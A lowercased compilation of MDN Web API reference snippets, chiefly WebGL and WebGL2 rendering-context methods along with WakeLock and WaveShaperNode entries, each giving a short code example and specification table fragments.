WEBGL_debug_shaders.getTranslatedShaderSource() - Web APIs
= gl.createshader(gl.fragment_shader); gl.shadersource(shader, 'void main() { gl_fragcolor = vec4(gl_fragcoord.x, 0.0, 0.0, 1.0); }'); gl.compileshader(shader); var src = gl.getextension('webgl_debug_shaders').gettranslatedshadersource(shader); console.log(src); // "void main(){ // (gl_fragcolor = vec4(gl_fragcoord.x, 0.0, 0.0, 1.0)); // }" specifications specification status comment webgl_debug_shadersthe definition of 'webgl_debug_shaders.gettranslatedshadersource' in that specification.
... recommendation initial definition.
WEBGL_debug_shaders - Web APIs
specifications specification status comment webgl_debug_shadersthe definition of 'webgl_debug_shaders' in that specification.
... recommendation initial definition.
WEBGL_depth_texture - Web APIs
examples var ext = gl.getextension('webgl_depth_texture'); gl.teximage2d(gl.texture_2d, 0, gl.depth_component, 512, 512, 0, gl.depth_component, gl.unsigned_short, null); specifications specification status comment webgl_depth_texturethe definition of 'webgl_depth_texture' in that specification.
... recommendation initial definition.
WEBGL_draw_buffers.drawBuffersWEBGL() - Web APIs
ext.drawbufferswebgl([ ext.color_attachment0_webgl, // gl_fragdata[0] ext.color_attachment1_webgl, // gl_fragdata[1] ext.color_attachment2_webgl, // gl_fragdata[2] ext.color_attachment3_webgl // gl_fragdata[3] ]); specifications specification status comment webgl_draw_buffersthe definition of 'webgl_draw_buffers' in that specification.
... recommendation initial definition.
WEBGL_draw_buffers - Web APIs
r_attachment3_webgl // gl_fragdata[3] ]); shader code that writes to multiple textures: <script type="x-shader/x-fragment"> #extension gl_ext_draw_buffers : require precision highp float; void main(void) { gl_fragdata[0] = vec4(0.25); gl_fragdata[1] = vec4(0.5); gl_fragdata[2] = vec4(0.75); gl_fragdata[3] = vec4(1.0); } </script> specifications specification status comment webgl_draw_buffersthe definition of 'webgl_draw_buffers' in that specification.
... recommendation initial definition.
WEBGL_lose_context.loseContext() - Web APIs
specifications specification status comment webgl_lose_contextthe definition of 'webgl_lose_context.losecontext' in that specification.
... recommendation initial definition.
WEBGL_lose_context.restoreContext() - Web APIs
examples with this method, you can simulate the webglcontextrestored event: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextrestored', function(e) { console.log(e); }, false); gl.getextension('webgl_lose_context').restorecontext(); specifications specification status comment webgl_lose_contextthe definition of 'webgl_lose_context.losecontext' in that specification.
... recommendation initial definition.
WEBGL_lose_context - Web APIs
specifications specification status comment webgl_lose_contextthe definition of 'webgl_lose_context' in that specification.
... recommendation initial definition.
WakeLock - Web APIs
WebAPIWakeLock
the wakelock interface of the screen wake lock api prevents device screens from dimming or locking when an application needs to keep running.
... const requestwakelock = async () => { try { const wakelock = await navigator.wakelock.request('screen'); } catch (err) { // the wake lock request fails - usually system related, such low as battery console.log(`${err.name}, ${err.message}`); } } requestwakelock(); specifications specification status comment screen wake lock apithe definition of 'wakelock' in that specification.
WakeLockSentinel.type - Web APIs
prevents devices from dimming or locking the screen.
... const requestwakelock = async () => { wakelock = await navigator.wakelock.request('screen'); console.log(wakelock.type); // logs 'screen' }; requestwakelock(); specifications specification status comment screen wake lock apithe definition of 'wakelocktype' in that specification.
WakeLockSentinel - Web APIs
prevents devices from dimming or locking the screen.
...; } catch (err) { // if wake lock request fails - usually system related, such as battery } } wakelockonbutton.addeventlistener('click', () => { requestwakelock(); }) wakelockoffbutton.addeventlistener('click', () => { if (wakelock !== null) { wakelock.release() .then(() => { wakelock = null; }) } }) specifications specification status comment screen wake lock apithe definition of 'wakelocksentinel' in that specification.
WaveShaperNode.curve - Web APIs
note: sigmoid functions are commonly used for distortion curves because of their natural properties.
... distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe definition of 'curve' in that specification.
WaveShaperNode.oversample - Web APIs
note: sigmoid functions are commonly used for distortion curves because of their natural properties.
... distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe definition of 'oversample' in that specification.
WaveShaperNode - Web APIs
note: sigmoid functions are commonly used for distortion curves because of their natural properties.
... distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe definition of 'waveshapernode' in that specification.
WebGL2RenderingContext.beginQuery() - Web APIs
possible values: gl.any_samples_passed: specifies an occlusion query: these queries detect whether an object is visible (whether the scoped drawing commands pass the depth test and if so, how many samples pass).
... specifications specification status comment webgl 2.0the definition of 'beginquery' in that specification.
WebGL2RenderingContext.clientWaitSync() - Web APIs
may be gl.sync_flush_commands_bit.
... examples var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); var status = gl.clientwaitsync(sync, 0, 0); specifications specification status comment webgl 2.0the definition of 'clientwaitsync' in that specification.
WebGL2RenderingContext.deleteSync() - Web APIs
var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); // ...
... gl.deletesync(sync); specifications specification status comment webgl 2.0the definition of 'deletesync' in that specification.
WebGL2RenderingContext.endQuery() - Web APIs
possible values: gl.any_samples_passed: specifies an occlusion query: these queries detect whether an object is visible (whether the scoped drawing commands pass the depth test and if so, how many samples pass).
... gl.endquery(gl.any_samples_passed); specifications specification status comment webgl 2.0the definition of 'endquery' in that specification.
WebGL2RenderingContext.getQuery() - Web APIs
possible values: gl.any_samples_passed: specifies an occlusion query: these queries detect whether an object is visible (whether the scoped drawing commands pass the depth test and if so, how many samples pass).
... examples var currentquery = gl.getquery(gl.any_samples_passed, gl.current_query); specifications specification status comment webgl 2.0the definition of 'getquery' in that specification.
WebGL2RenderingContext.getSyncParameter() - Web APIs
gl.sync_condition: returns a glenum indicating the sync objects' condition (always gl.sync_gpu_commands_complete).
... examples var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); gl.getsyncparameter(sync, gl.sync_status); specifications specification status comment webgl 2.0the definition of 'getsyncparameter' in that specification.
WebGL2RenderingContext.isSync() - Web APIs
var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); // ...
... gl.issync(sync); specifications specification status comment webgl 2.0the definition of 'issync' in that specification.
WebGL2RenderingContext.waitSync() - Web APIs
the webgl2renderingcontext.waitsync() method of the webgl 2 api returns immediately, but waits on the gl server until the given webglsync object is signaled.
... examples var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); gl.waitsync(sync, 0, gl.timeout_ignored); specifications specification status comment webgl 2.0the definition of 'waitsync' in that specification.
WebGLActiveInfo.name - Web APIs
examples var activeattrib = gl.getactiveattrib(program, index); activeattrib.name; var activeuniform = gl.getactiveuniform(program, index); activeuniform.name; specifications specification status comment webgl 1.0the definition of 'webglactiveinfo.name' in that specification.
... recommendation initial definition.
WebGLActiveInfo.size - Web APIs
examples var activeattrib = gl.getactiveattrib(program, index); activeattrib.size; var activeuniform = gl.getactiveuniform(program, index); activeuniform.size; specifications specification status comment webgl 1.0the definition of 'webglactiveinfo.size' in that specification.
... recommendation initial definition.
WebGLActiveInfo.type - Web APIs
examples var activeattrib = gl.getactiveattrib(program, index); activeattrib.type; var activeuniform = gl.getactiveuniform(program, index); activeuniform.type; specifications specification status comment webgl 1.0the definition of 'webglactiveinfo.type' in that specification.
... recommendation initial definition.
WebGLActiveInfo - Web APIs
program, gluint index) specifications specification status comment webgl 1.0the definition of 'webglactiveinfo' in that specification.
... recommendation initial definition.
WebGLBuffer - Web APIs
ethods of the webglrenderingcontext are useful: webglrenderingcontext.bindbuffer() webglrenderingcontext.createbuffer() webglrenderingcontext.deletebuffer() webglrenderingcontext.isbuffer() examples creating a buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); specifications specification status comment webgl 1.0the definition of 'webglbuffer' in that specification.
... recommendation initial definition.
WebGLContextEvent.statusMessage - Web APIs
var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextcreationerror', function(e) { console.log('webgl context creation failed:' + e.statusmessage || 'unknown error'); }, false); specifications specification status comment webgl 1.0the definition of 'webglcontextevent.statusmessage' in that specification.
... recommendation initial definition.
WebGLContextEvent - Web APIs
specifications specification status comment webgl 1.0the definition of 'webglcontextevent' in that specification.
... recommendation initial definition.
WebGLFramebuffer - Web APIs
text are useful: webglrenderingcontext.bindframebuffer() webglrenderingcontext.createframebuffer() webglrenderingcontext.deleteframebuffer() webglrenderingcontext.isframebuffer() examples creating a frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createframebuffer(); specifications specification status comment webgl 1.0the definition of 'webglframebuffer' in that specification.
... recommendation initial definition.
WebGLProgram - Web APIs
gl.deleteprogram(program); specifications specification status comment webgl 1.0the definition of 'webglprogram' in that specification.
... recommendation initial definition.
WebGLRenderbuffer - Web APIs
re useful: webglrenderingcontext.bindrenderbuffer() webglrenderingcontext.createrenderbuffer() webglrenderingcontext.deleterenderbuffer() webglrenderingcontext.isrenderbuffer() examples creating a render buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createrenderbuffer(); specifications specification status comment webgl 1.0the definition of 'webglrenderbuffer' in that specification.
... recommendation initial definition.
WebGLRenderingContext.activeTexture() - Web APIs
gl.activetexture(gl.texture0); gl.getparameter(gl.active_texture); // returns "33984" (0x84c0, gl.texture0 enum value) specifications specification status comment webgl 1.0the definition of 'activetexture' in that specification.
... recommendation initial definition.
WebGLRenderingContext.attachShader() - Web APIs
\n\n' + info; } specifications specification status comment webgl 1.0the definition of 'attachshader' in that specification.
... recommendation initial definition.
WebGLRenderingContext.bindAttribLocation() - Web APIs
examples gl.bindattriblocation(program, colorlocation, 'vcolor'); specifications specification status comment webgl 1.0the definition of 'bindattriblocation' in that specification.
... recommendation initial definition.
WebGLRenderingContext.bindBuffer() - Web APIs
gl.getparameter(gl.array_buffer_binding); gl.getparameter(gl.element_array_buffer_binding); specifications specification status comment webgl 1.0the definition of 'bindbuffer' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.bindFramebuffer() - Web APIs
gl.getparameter(gl.framebuffer_binding); specifications specification status comment webgl 1.0the definition of 'bindframebuffer' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.bindRenderbuffer() - Web APIs
gl.getparameter(gl.renderbuffer_binding); specifications specification status comment webgl 1.0the definition of 'bindrenderbuffer' in that specification.
... recommendation initial definition.
WebGLRenderingContext.bindTexture() - Web APIs
gl.getparameter(gl.texture_binding_2d); specifications specification status comment webgl 1.0the definition of 'bindtexture' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.blendColor() - Web APIs
gl.getparameter(gl.blend_color); // float32array[0, 0.5, 1, 1] specifications specification status comment webgl 1.0the definition of 'blendcolor' in that specification.
... recommendation initial definition.
WebGLRenderingContext.blendEquation() - Web APIs
gl.getparameter(gl.blend_equation_rgb) === gl.func_add; // true gl.getparameter(gl.blend_equation_alpha) === gl.func_add; // true specifications specification status comment webgl 1.0the definition of 'blendequation' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.blendEquationSeparate() - Web APIs
gl.getparameter(gl.blend_equation_rgb) === gl.func_add; // true gl.getparameter(gl.blend_equation_alpha) === gl.func_add; // true specifications specification status comment webgl 1.0the definition of 'blendequationseparate' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.blendFunc() - Web APIs
gl.enable(gl.blend); gl.blendfunc(gl.src_color, gl.dst_color); gl.getparameter(gl.blend_src_rgb) == gl.src_color; // true specifications specification status comment webgl 1.0the definition of 'blendfunc' in that specification.
... recommendation initial definition.
WebGLRenderingContext.blendFuncSeparate() - Web APIs
gl.enable(gl.blend); gl.blendfuncseparate(gl.src_color, gl.dst_color, gl.one, gl.zero); gl.getparameter(gl.blend_src_rgb) == gl.src_color; // true specifications specification status comment webgl 1.0the definition of 'blendfunc' in that specification.
... recommendation initial definition.
WebGLRenderingContext.bufferSubData() - Web APIs
examples using buffersubdata var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, 1024, gl.static_draw); gl.buffersubdata(gl.array_buffer, 512, data); specifications specification status comment webgl 1.0the definition of 'buffersubdata' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.canvas - Web APIs
var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext('webgl'); gl.canvas; // offscreencanvas specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.canvas' in that specification.
... recommendation initial definition.
WebGLRenderingContext.checkFramebufferStatus() - Web APIs
gl.checkframebufferstatus(gl.framebuffer); specifications specification status comment webgl 1.0the definition of 'checkframebufferstatus' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.clear() - Web APIs
gl.getparameter(gl.color_clear_value); gl.getparameter(gl.depth_clear_value); gl.getparameter(gl.stencil_clear_value); specifications specification status comment webgl 1.0the definition of 'clear' in that specification.
... recommendation initial definition.
WebGLRenderingContext.clearColor() - Web APIs
gl.getparameter(gl.color_clear_value); // float32array[1, 0.5, 0.5, 1] specifications specification status comment webgl 1.0the definition of 'clearcolor' in that specification.
... recommendation initial definition.
WebGLRenderingContext.clearDepth() - Web APIs
gl.getparameter(gl.depth_clear_value); // 0.5 specifications specification status comment webgl 1.0the definition of 'cleardepth' in that specification.
... recommendation initial definition.
WebGLRenderingContext.clearStencil() - Web APIs
gl.getparameter(gl.stencil_clear_value); // 1 specifications specification status comment webgl 1.0the definition of 'clearstencil' in that specification.
... recommendation initial definition.
WebGLRenderingContext.colorMask() - Web APIs
gl.getparameter(gl.color_writemask); // [true, true, true, false] specifications specification status comment webgl 1.0the definition of 'colormask' in that specification.
... recommendation initial definition.
WebGLRenderingContext.compileShader() - Web APIs
examples var shader = gl.createshader(gl.vertex_shader); gl.shadersource(shader, shadersource); gl.compileshader(shader); specifications specification status comment webgl 1.0the definition of 'compileshader' in that specification.
... recommendation initial definition.
WebGLRenderingContext.compressedTexImage[23]D() - Web APIs
l_compressed_texture_s3tc') ); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_s3tc_dxt5_ext, 512, 512, 0, texturedata); gl.texparameteri(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); specifications specification status comment webgl 1.0the definition of 'compressedteximage2d' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.compressedTexSubImage2D() - Web APIs
examples var ext = ( gl.getextension('webgl_compressed_texture_s3tc') || gl.getextension('moz_webgl_compressed_texture_s3tc') || gl.getextension('webkit_webgl_compressed_texture_s3tc') ); gl.compressedtexsubimage2d(gl.texture_2d, 0, 256, 256, 512, 512, ext.compressed_rgba_s3tc_dxt5_ext, texturedata); specifications specification status comment webgl 1.0the definition of 'compressedtexsubimage2d' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.copyTexImage2D() - Web APIs
examples gl.copyteximage2d(gl.texture_2d, 0, gl.rgba, 0, 0, 512, 512, 0); specifications specification status comment webgl 1.0the definition of 'copyteximage2d' in that specification.
... recommendation initial definition.
WebGLRenderingContext.copyTexSubImage2D() - Web APIs
examples gl.copytexsubimage2d(gl.texture_2d, 0, 0,0, 0, 0, 16, 16); specifications specification status comment webgl 1.0the definition of 'copytexsubimage2d' in that specification.
... recommendation initial definition.
WebGLRenderingContext.createBuffer() - Web APIs
examples creating a buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); specifications specification status comment webgl 1.0the definition of 'createbuffer' in that specification.
... recommendation initial definition.
WebGLRenderingContext.createFramebuffer() - Web APIs
examples creating a frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var framebuffer = gl.createframebuffer(); specifications specification status comment webgl 1.0the definition of 'createframebuffer' in that specification.
... recommendation initial definition.
WebGLRenderingContext.createProgram() - Web APIs
specifications specification status comment webgl 1.0the definition of 'createprogram' in that specification.
... recommendation initial definition.
WebGLRenderingContext.createRenderbuffer() - Web APIs
examples creating a render buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var renderbuffer = gl.createrenderbuffer(); specifications specification status comment webgl 1.0the definition of 'createrenderbuffer' in that specification.
... recommendation initial definition.
WebGLRenderingContext.createShader() - Web APIs
specifications specification status comment webgl 1.0the definition of 'createshader' in that specification.
... recommendation initial definition.
WebGLRenderingContext.createTexture() - Web APIs
creating a texture var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); specifications specification status comment webgl 1.0the definition of 'createtexture' in that specification.
... recommendation initial definition.
WebGLRenderingContext.cullFace() - Web APIs
gl.getparameter(gl.cull_face_mode) === gl.front_and_back; // true specifications specification status comment webgl 1.0the definition of 'cullface' in that specification.
... recommendation initial definition.
WebGLRenderingContext.deleteBuffer() - Web APIs
gl.deletebuffer(buffer); specifications specification status comment webgl 1.0the definition of 'deletebuffer' in that specification.
... recommendation initial definition.
WebGLRenderingContext.deleteFramebuffer() - Web APIs
gl.deleteframebuffer(framebuffer); specifications specification status comment webgl 1.0the definition of 'deleteframebuffer' in that specification.
... recommendation initial definition.
WebGLRenderingContext.deleteProgram() - Web APIs
gl.deleteprogram(program); specifications specification status comment webgl 1.0the definition of 'deleteprogram' in that specification.
... recommendation initial definition.
WebGLRenderingContext.deleteRenderbuffer() - Web APIs
gl.deleterenderbuffer(renderbuffer); specifications specification status comment webgl 1.0the definition of 'deleterenderbuffer' in that specification.
... recommendation initial definition.
WebGLRenderingContext.deleteShader() - Web APIs
examples deleting a shader gl.deleteshader(shader); specifications specification status comment webgl 1.0the definition of 'deleteshader' in that specification.
... recommendation initial definition.
WebGLRenderingContext.deleteTexture() - Web APIs
gl.deletetexture(texture); specifications specification status comment webgl 1.0the definition of 'deletetexture' in that specification.
... recommendation initial definition.
WebGLRenderingContext.depthFunc() - Web APIs
gl.getparameter(gl.depth_func) === gl.never; // true specifications specification status comment webgl 1.0the definition of 'depthfunc' in that specification.
... recommendation initial definition.
WebGLRenderingContext.depthMask() - Web APIs
gl.getparameter(gl.depth_writemask); // false specifications specification status comment webgl 1.0the definition of 'depthmask' in that specification.
... recommendation initial definition.
WebGLRenderingContext.depthRange() - Web APIs
examples gl.depthrange(0.2, 0.6); to check the current depth range, query the depth_range constant which returns a float32array gl.getparameter(gl.depth_range); // float32array[0.2, 0.6] specifications specification status comment webgl 1.0the definition of 'depthrange' in that specification.
... recommendation initial definition.
WebGLRenderingContext.detachShader() - Web APIs
specifications specification status comment webgl 1.0the definition of 'detachshader' in that specification.
... recommendation initial definition.
WebGLRenderingContext.disableVertexAttribArray() - Web APIs
examples gl.disablevertexattribarray(0); specifications specification status comment webgl 1.0the definition of 'disablevertexattribarray' in that specification.
... recommendation initial definition.
WebGLRenderingContext.drawArrays() - Web APIs
examples gl.drawarrays(gl.points, 0, 8); specifications specification status comment webgl 1.0the definition of 'drawarrays' in that specification.
... recommendation initial definition.
WebGLRenderingContext.drawElements() - Web APIs
examples gl.drawelements(gl.points, 8, gl.unsigned_byte, 0); specifications specification status comment webgl 1.0the definition of 'drawelements' in that specification.
... recommendation initial definition.
WebGLRenderingContext.drawingBufferHeight - Web APIs
syntax gl.drawingbufferheight; examples given this <canvas> element: <canvas id="canvas"></canvas> you can get the height of the drawing buffer with the following lines: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.drawingbufferheight; // 150 specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.drawingbufferheight' in that specification.
... recommendation initial definition.
WebGLRenderingContext.drawingBufferWidth - Web APIs
syntax gl.drawingbufferwidth; examples given this <canvas> element: <canvas id="canvas"></canvas> you can get the width of the drawing buffer with the following lines: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.drawingbufferwidth; // 300 specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.drawingbufferwidth' in that specification.
... recommendation initial definition.
WebGLRenderingContext.enableVertexAttribArray() - Web APIs
specifications specification status comment webgl 1.0the definition of 'enablevertexattribarray' in that specification.
... recommendation initial definition.
WebGLRenderingContext.framebufferRenderbuffer() - Web APIs
examples gl.framebufferrenderbuffer(gl.framebuffer, gl.color_attachment0, gl.renderbuffer, renderbuffer); specifications specification status comment webgl 1.0the definition of 'framebufferrenderbuffer' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.framebufferTexture2D() - Web APIs
examples gl.framebuffertexture2d(gl.framebuffer, gl.color_attachment0, gl.texture_2d, texture, 0); specifications specification status comment webgl 1.0the definition of 'framebuffertexture2d' in that specification.
... recommendation initial definition.
WebGLRenderingContext.frontFace() - Web APIs
examples gl.frontface(gl.cw); specifications specification status comment webgl 1.0the definition of 'frontface' in that specification.
... recommendation initial definition.
WebGLRenderingContext.generateMipmap() - Web APIs
examples gl.generatemipmap(gl.texture_2d); specifications specification status comment webgl 1.0the definition of 'generatemipmap' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.getActiveAttrib() - Web APIs
examples const numattribs = gl.getprogramparameter(program, gl.active_attributes); for (let i = 0; i < numattribs; ++i) { const info = gl.getactiveattrib(program, i); console.log('name:', info.name, 'type:', info.type, 'size:', info.size); } specifications specification status comment webgl 1.0the definition of 'getactiveattrib' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getActiveUniform() - Web APIs
examples const numuniforms = gl.getprogramparameter(program, gl.active_uniforms); for (let i = 0; i < numuniforms; ++i) { const info = gl.getactiveuniform(program, i); console.log('name:', info.name, 'type:', info.type, 'size:', info.size); } specifications specification status comment webgl 1.0the definition of 'getactiveuniform' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getAttachedShaders() - Web APIs
examples var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.getattachedshaders(program); specifications specification status comment webgl 1.0the definition of 'getattachedshaders' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getAttribLocation() - Web APIs
examples gl.getattriblocation(program, 'vcolor'); specifications specification status comment webgl 1.0the definition of 'getattriblocation' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getBufferParameter() - Web APIs
examples gl.getbufferparameter(gl.array_buffer, gl.buffer_size); specifications specification status comment webgl 1.0the definition of 'getbufferparameter' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.getContextAttributes() - Web APIs
specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.getcontextattributes' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getExtension() - Web APIs
buffer_float webgl_compressed_texture_astc webgl_compressed_texture_atc webgl_compressed_texture_etc webgl_compressed_texture_etc1 webgl_compressed_texture_pvrtc webgl_compressed_texture_s3tc webgl_compressed_texture_s3tc_srgb webgl_debug_renderer_info webgl_debug_shaders webgl_depth_texture webgl_draw_buffers webgl_lose_context specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.getextension' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getFramebufferAttachmentParameter() - Web APIs
examples gl.getframebufferattachmentparameter(gl.framebuffer, gl.color_attachment0, gl.framebuffer_attachment_object_type); specifications specification status comment webgl 1.0the definition of 'getframebufferattachmentparameter' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.getParameter() - Web APIs
examples gl.getparameter(gl.dither); gl.getparameter(gl.version); gl.getparameter(gl.viewport); specifications specification status comment webgl 1.0the definition of 'getparameter' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getProgramInfoLog() - Web APIs
examples checking program errors var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.getprograminfolog(program); specifications specification status comment webgl 1.0the definition of 'getprograminfolog' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getProgramParameter() - Web APIs
examples gl.getprogramparameter(program, gl.delete_status); specifications specification status comment webgl 1.0the definition of 'getprogramparameter' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getRenderbufferParameter() - Web APIs
examples gl.getrenderbufferparameter(gl.renderbuffer, gl.renderbuffer_width); specifications specification status comment webgl 1.0the definition of 'getrenderbufferparameter' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.getShaderInfoLog() - Web APIs
*/ gl.compileshader(shader); var message = gl.getshaderinfolog(shader); if (message.length > 0) { /* message may be an error or a warning */ throw message; } specifications specification status comment webgl 1.0the definition of 'getshaderinfolog' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getShaderParameter() - Web APIs
examples gl.getshaderparameter(shader, gl.shader_type); specifications specification status comment webgl 1.0the definition of 'getshaderparameter' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getShaderPrecisionFormat() - Web APIs
var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getshaderprecisionformat(gl.vertex_shader, gl.medium_float); // webglshaderprecisionformat { rangemin: 127, rangemax: 127, precision: 23 } specifications specification status comment webgl 1.0the definition of 'getshaderprecisionformat' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getShaderSource() - Web APIs
examples var shader = gl.createshader(gl.vertex_shader); gl.shadersource(shader, originalsource); var source = gl.getshadersource(shader); specifications specification status comment webgl 1.0the definition of 'getshadersource' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getSupportedExtensions() - Web APIs
buffer_float webgl_compressed_texture_astc webgl_compressed_texture_atc webgl_compressed_texture_etc webgl_compressed_texture_etc1 webgl_compressed_texture_pvrtc webgl_compressed_texture_s3tc webgl_compressed_texture_s3tc_srgb webgl_debug_renderer_info webgl_debug_shaders webgl_depth_texture webgl_draw_buffers webgl_lose_context specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.getsupportedextensions' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getUniform() - Web APIs
ments) mat3x2 float32array (with 6 elements) mat3x4 float32array (with 12 elements) mat4x2 float32array (with 8 elements) mat4x3 float32array (with 12 elements) any sampler type glint examples var loc = gl.getuniformlocation(program, 'u_foobar'); gl.getuniform(program, loc); specifications specification status comment webgl 1.0the definition of 'getuniform' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.getVertexAttrib() - Web APIs
examples gl.getvertexattrib(0, gl.vertex_attrib_array_buffer_binding); specifications specification status comment webgl 1.0the definition of 'getvertexattrib' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.getVertexAttribOffset() - Web APIs
examples gl.getvertexattriboffset(i, gl.vertex_attrib_array_pointer); specifications specification status comment webgl 1.0the definition of 'getvertexattriboffset' in that specification.
... recommendation initial definition.
WebGLRenderingContext.hint() - Web APIs
gl.hint(gl.generate_mipmap_hint, gl.fastest); specifications specification status comment webgl 1.0the definition of 'hint' in that specification.
... recommendation initial definition.
WebGLRenderingContext.isBuffer() - Web APIs
examples creating a buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.isbuffer(buffer); specifications specification status comment webgl 1.0the definition of 'isbuffer' in that specification.
... recommendation initial definition.
WebGLRenderingContext.isContextLost() - Web APIs
examples for example, when checking for program linking success, you could also check if the context is not lost: gl.linkprogram(program); if (!gl.getprogramparameter(program, gl.link_status) && !gl.iscontextlost()) { var info = gl.getprograminfolog(program); console.log('error linking program:\n' + info); } specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.iscontextlost' in that specification.
... recommendation initial definition.
WebGLRenderingContext.isFramebuffer() - Web APIs
examples checking a frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var framebuffer = gl.createframebuffer(); gl.isframebuffer(framebuffer); specifications specification status comment webgl 1.0the definition of 'isframebuffer' in that specification.
... recommendation initial definition.
WebGLRenderingContext.isProgram() - Web APIs
gl.isprogram(program); specifications specification status comment webgl 1.0the definition of 'isprogram' in that specification.
... recommendation initial definition.
WebGLRenderingContext.isRenderbuffer() - Web APIs
examples checking a renderbuffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var renderbuffer = gl.createrenderbuffer(); gl.isrenderbuffer(renderbuffer); specifications specification status comment webgl 1.0the definition of 'isrenderbuffer' in that specification.
... recommendation initial definition.
WebGLRenderingContext.isShader() - Web APIs
gl.isshader(shader); specifications specification status comment webgl 1.0the definition of 'isshader' in that specification.
... recommendation initial definition.
WebGLRenderingContext.isTexture() - Web APIs
examples checking a texture var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); gl.istexture(texture); specifications specification status comment webgl 1.0the definition of 'istexture' in that specification.
... recommendation initial definition.
WebGLRenderingContext.linkProgram() - Web APIs
\n\n' + info); } specifications specification status comment webgl 1.0the definition of 'linkprogram' in that specification.
... recommendation initial definition.
WebGLRenderingContext.polygonOffset() - Web APIs
gl.getparameter(gl.polygon_offset_factor); // 2 gl.getparameter(gl.polygon_offset_units); // 3 specifications specification status comment webgl 1.0the definition of 'polygonoffset' in that specification.
... recommendation initial definition.
WebGLRenderingContext.readPixels() - Web APIs
examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var pixels = new uint8array(gl.drawingbufferwidth * gl.drawingbufferheight * 4); gl.readpixels(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight, gl.rgba, gl.unsigned_byte, pixels); console.log(pixels); // uint8array specifications specification status comment webgl 1.0the definition of 'readpixels' in that specification.
... recommendation initial definition.
WebGLRenderingContext.renderbufferStorage() - Web APIs
examples gl.renderbufferstorage(gl.renderbuffer, gl.rgba4, 256, 256); specifications specification status comment webgl 1.0the definition of 'renderbufferstorage' in that specification.
... recommendation initial definition for webgl.
